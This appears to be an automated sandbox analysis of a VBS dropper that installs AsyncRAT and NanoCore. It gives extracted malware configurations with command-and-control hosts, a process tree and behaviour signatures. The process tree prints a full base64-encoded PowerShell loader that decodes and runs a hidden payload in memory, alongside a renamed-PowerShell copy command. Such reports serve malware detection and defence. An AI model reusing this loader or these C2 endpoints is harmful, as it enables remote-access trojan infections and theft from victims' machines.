Resubmissions

28-08-2024 22:22

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28-08-2024 21:59

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28-08-2024 21:42

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28-08-2024 00:57

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28-08-2024 00:53

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27-08-2024 03:06

240827-dl39aa1gpm 10

Analysis

  • max time kernel
    805s
  • max time network
    813s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-08-2024 22:22

General

  • Target

    c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs

  • Size

    2.0MB

  • MD5

    3096f8476512077adacad2e66cd9535e

  • SHA1

    8ddfbf4ea1bb26fecb75ff9482529060351f5c82

  • SHA256

    c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd

  • SHA512

    277c34f5300e6e4b2129dd8aae4e68c226dee549601d0fb12323d86588492ea810cbe9ffcecda66c7680f2af6e76a7d7532d7a09d1cd59d639980ae06ac5188f

  • SSDEEP

    24576:9f5HNlz6GydnATwu6JRnDB/4G8jslVZCNct1hMYnnEhKEw7nmlLW+r1/YrK88skH:pNTmJT/QglCN07ir4f6MJk8nO

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

C2

onlineisofilelandersbaseballer1.mrbonus.com:7011

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

nanocore

Version

1.2.2.0

C2

e-businessloader.mywire.org:5230

127.0.0.1:5230

Mutex

0be0e5d9-4209-4f88-b4fe-27e7b678a0b5

Attributes
  • activate_away_mode

    true

  • backup_connection_host

    127.0.0.1

  • backup_dns_server

    8.8.4.4

  • buffer_size

    65535

  • build_time

    2024-03-16T21:32:38.702958636Z

  • bypass_user_account_control

    true

  • bypass_user_account_control_data

  • clear_access_control

    true

  • clear_zone_identifier

    false

  • connect_delay

    4000

  • connection_port

    5230

  • default_group

    e-business

  • enable_debug_mode

    true

  • gc_threshold

    1.048576e+07

  • keep_alive_timeout

    30000

  • keyboard_logging

    false

  • lan_timeout

    2500

  • max_packet_size

    1.048576e+07

  • mutex

    0be0e5d9-4209-4f88-b4fe-27e7b678a0b5

  • mutex_timeout

    5000

  • prevent_system_sleep

    false

  • primary_connection_host

    e-businessloader.mywire.org

  • primary_dns_server

    8.8.8.8

  • request_elevation

    true

  • restart_delay

    5000

  • run_delay

    0

  • run_on_startup

    true

  • set_critical_process

    true

  • timeout_interval

    5000

  • use_custom_dns_server

    false

  • version

    1.2.2.0

  • wan_timeout

    8000

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Async RAT payload 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3512
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs"
        2⤵
        • Checks computer location settings
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:5024
        • C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe
          "C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe" -enc JABWAGwAbgBmAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQAWQBiAGsAbwBhACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQAVgBsAG4AZgByACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEYAZABqAGcAagAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABZAGIAawBvAGEALgBSAGUAcABsAGEAYwBlACgAJwBSAEUATQAgACcALAAgACcAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAQAAnACwAIAAnAEEAJwApACkAOwAkAEEAcABnAGoAcABqAGoAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEYAZABqAGcAagAgACkAOwAkAFcAdQB3AHUAaAB1AGMAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAWQBnAG8AeQBpAHYAZQBuAG4AbwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABBAHAAZwBqAHAAagBqACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABZAGcAbwB5AGkAdgBlAG4AbgBvAC4AQwBvAHAAeQBUAG8AKAAgACQAVwB1AHcAdQBoAHUAYwBoACAAKQA7ACQAWQBnAG8AeQBpAHYAZQBuAG4AbwAuAEMAbABvAHMAZQAoACkAOwAkAEEAcABnAGoAcABqAGoALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABGAGQAagBnAGoAIAA9ACAAJABXAHUAdwB1AGgAdQBjAGgALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEYAZABqAGcAagApADsAIAAkAEMAaQB4AHoAbwBmACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARgBkAGoAZwBqACkAOwAgACQATABqAGoAdwBlAHIAZgBuAGcAIAA9ACAAJABDAGkAeAB6AG8AZgAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgAFsAUwB5AHMAdABlAG0ALgBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAWwBBAGMAdABpAG8AbgBdACwAIAAkAEwAagBqAHcAZQByAGYAbgBnAC4ARABlAGMAbABhAHIAaQBuAGcAVAB5AHAAZQAsACAAJABMAGoAagB3AGUAcgBmAG4AZwAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Checks computer location settings
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4752
          • C:\Users\Admin\AppData\Local\Temp\AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe
            "C:\Users\Admin\AppData\Local\Temp\AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:5024
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        PID:2348
    • C:\Windows\system32\cmd.exe
      cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe" /Y
      1⤵
      • Process spawned unexpected child process
      PID:2680

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe

      Filesize

      47KB

      MD5

      159c90b70a434849067541ea6242addf

      SHA1

      a8fa40329afa1d5ebab79cdde6863c81e15f0735

      SHA256

      5982b94c5faf43027f7c8beb54f393619d718ce2afb1a2ecf98a40b7ee97fb4c

      SHA512

      92974a835a7652e9396630cd4fc88d06f01e4ad1ec6f7f8e8bfeb614c0611a8d281359b518cbad21536c432ffd8e6d0bab74209fb0f1c1d62f18de5e049e50db

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zsj4w3o1.pam.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe

      Filesize

      423KB

      MD5

      c32ca4acfcc635ec1ea6ed8a34df5fac

      SHA1

      f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

      SHA256

      73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

      SHA512

      6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

    • memory/2348-1141-0x0000000006C10000-0x0000000006C22000-memory.dmp

      Filesize

      72KB

    • memory/2348-1139-0x0000000006BD0000-0x0000000006BEA000-memory.dmp

      Filesize

      104KB

    • memory/2348-1145-0x0000000006C50000-0x0000000006C60000-memory.dmp

      Filesize

      64KB

    • memory/2348-1144-0x0000000006C40000-0x0000000006C54000-memory.dmp

      Filesize

      80KB

    • memory/2348-1143-0x0000000006C30000-0x0000000006C3C000-memory.dmp

      Filesize

      48KB

    • memory/2348-1147-0x0000000006C90000-0x0000000006C9E000-memory.dmp

      Filesize

      56KB

    • memory/2348-1142-0x0000000006C20000-0x0000000006C2E000-memory.dmp

      Filesize

      56KB

    • memory/2348-1148-0x0000000006CA0000-0x0000000006CCE000-memory.dmp

      Filesize

      184KB

    • memory/2348-1140-0x0000000006C00000-0x0000000006C0E000-memory.dmp

      Filesize

      56KB

    • memory/2348-1146-0x0000000006C70000-0x0000000006C84000-memory.dmp

      Filesize

      80KB

    • memory/2348-1138-0x0000000006BC0000-0x0000000006BCC000-memory.dmp

      Filesize

      48KB

    • memory/2348-1135-0x0000000006460000-0x000000000646A000-memory.dmp

      Filesize

      40KB

    • memory/2348-1134-0x0000000006340000-0x000000000635E000-memory.dmp

      Filesize

      120KB

    • memory/2348-1133-0x0000000005860000-0x000000000586A000-memory.dmp

      Filesize

      40KB

    • memory/2348-1131-0x00000000055A0000-0x00000000055AA000-memory.dmp

      Filesize

      40KB

    • memory/2348-1130-0x00000000056D0000-0x000000000576C000-memory.dmp

      Filesize

      624KB

    • memory/2348-1129-0x0000000005630000-0x00000000056C2000-memory.dmp

      Filesize

      584KB

    • memory/2348-1127-0x0000000000400000-0x0000000000438000-memory.dmp

      Filesize

      224KB

    • memory/2348-1149-0x0000000006CD0000-0x0000000006CE4000-memory.dmp

      Filesize

      80KB

    • memory/4752-40-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-82-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-74-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-72-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-70-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-68-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-64-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-62-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-60-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-58-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-54-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-52-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-66-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-56-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-50-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-48-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-47-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-42-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-76-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-38-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-36-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-34-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-32-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-94-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-92-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-90-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-88-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-86-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-84-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-78-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-80-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-1103-0x0000000007980000-0x0000000007A04000-memory.dmp

      Filesize

      528KB

    • memory/4752-1104-0x0000000007A00000-0x0000000007A4C000-memory.dmp

      Filesize

      304KB

    • memory/4752-1108-0x000000007542E000-0x000000007542F000-memory.dmp

      Filesize

      4KB

    • memory/4752-1109-0x0000000075420000-0x0000000075BD0000-memory.dmp

      Filesize

      7.7MB

    • memory/4752-44-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-1123-0x0000000007F70000-0x0000000007FC4000-memory.dmp

      Filesize

      336KB

    • memory/4752-4-0x000000007542E000-0x000000007542F000-memory.dmp

      Filesize

      4KB

    • memory/4752-1128-0x0000000075420000-0x0000000075BD0000-memory.dmp

      Filesize

      7.7MB

    • memory/4752-31-0x00000000072A0000-0x00000000073A2000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-30-0x00000000072A0000-0x00000000073A8000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-29-0x0000000007070000-0x0000000007176000-memory.dmp

      Filesize

      1.0MB

    • memory/4752-28-0x0000000006EF0000-0x0000000007004000-memory.dmp

      Filesize

      1.1MB

    • memory/4752-27-0x0000000008000000-0x000000000867A000-memory.dmp

      Filesize

      6.5MB

    • memory/4752-26-0x00000000073D0000-0x0000000007974000-memory.dmp

      Filesize

      5.6MB

    • memory/4752-25-0x0000000006160000-0x0000000006182000-memory.dmp

      Filesize

      136KB

    • memory/4752-23-0x0000000006D80000-0x0000000006E16000-memory.dmp

      Filesize

      600KB

    • memory/4752-24-0x0000000006110000-0x000000000612A000-memory.dmp

      Filesize

      104KB

    • memory/4752-22-0x0000000005C00000-0x0000000005C4C000-memory.dmp

      Filesize

      304KB

    • memory/4752-21-0x0000000005BD0000-0x0000000005BEE000-memory.dmp

      Filesize

      120KB

    • memory/4752-16-0x00000000055A0000-0x00000000058F4000-memory.dmp

      Filesize

      3.3MB

    • memory/4752-9-0x0000000004CA0000-0x0000000004D06000-memory.dmp

      Filesize

      408KB

    • memory/4752-10-0x0000000004D80000-0x0000000004DE6000-memory.dmp

      Filesize

      408KB

    • memory/4752-8-0x0000000004C00000-0x0000000004C22000-memory.dmp

      Filesize

      136KB

    • memory/4752-7-0x0000000004E70000-0x0000000005498000-memory.dmp

      Filesize

      6.2MB

    • memory/4752-6-0x0000000075420000-0x0000000075BD0000-memory.dmp

      Filesize

      7.7MB

    • memory/4752-5-0x0000000002680000-0x00000000026B6000-memory.dmp

      Filesize

      216KB

    • memory/5024-1124-0x0000000000450000-0x0000000000462000-memory.dmp

      Filesize

      72KB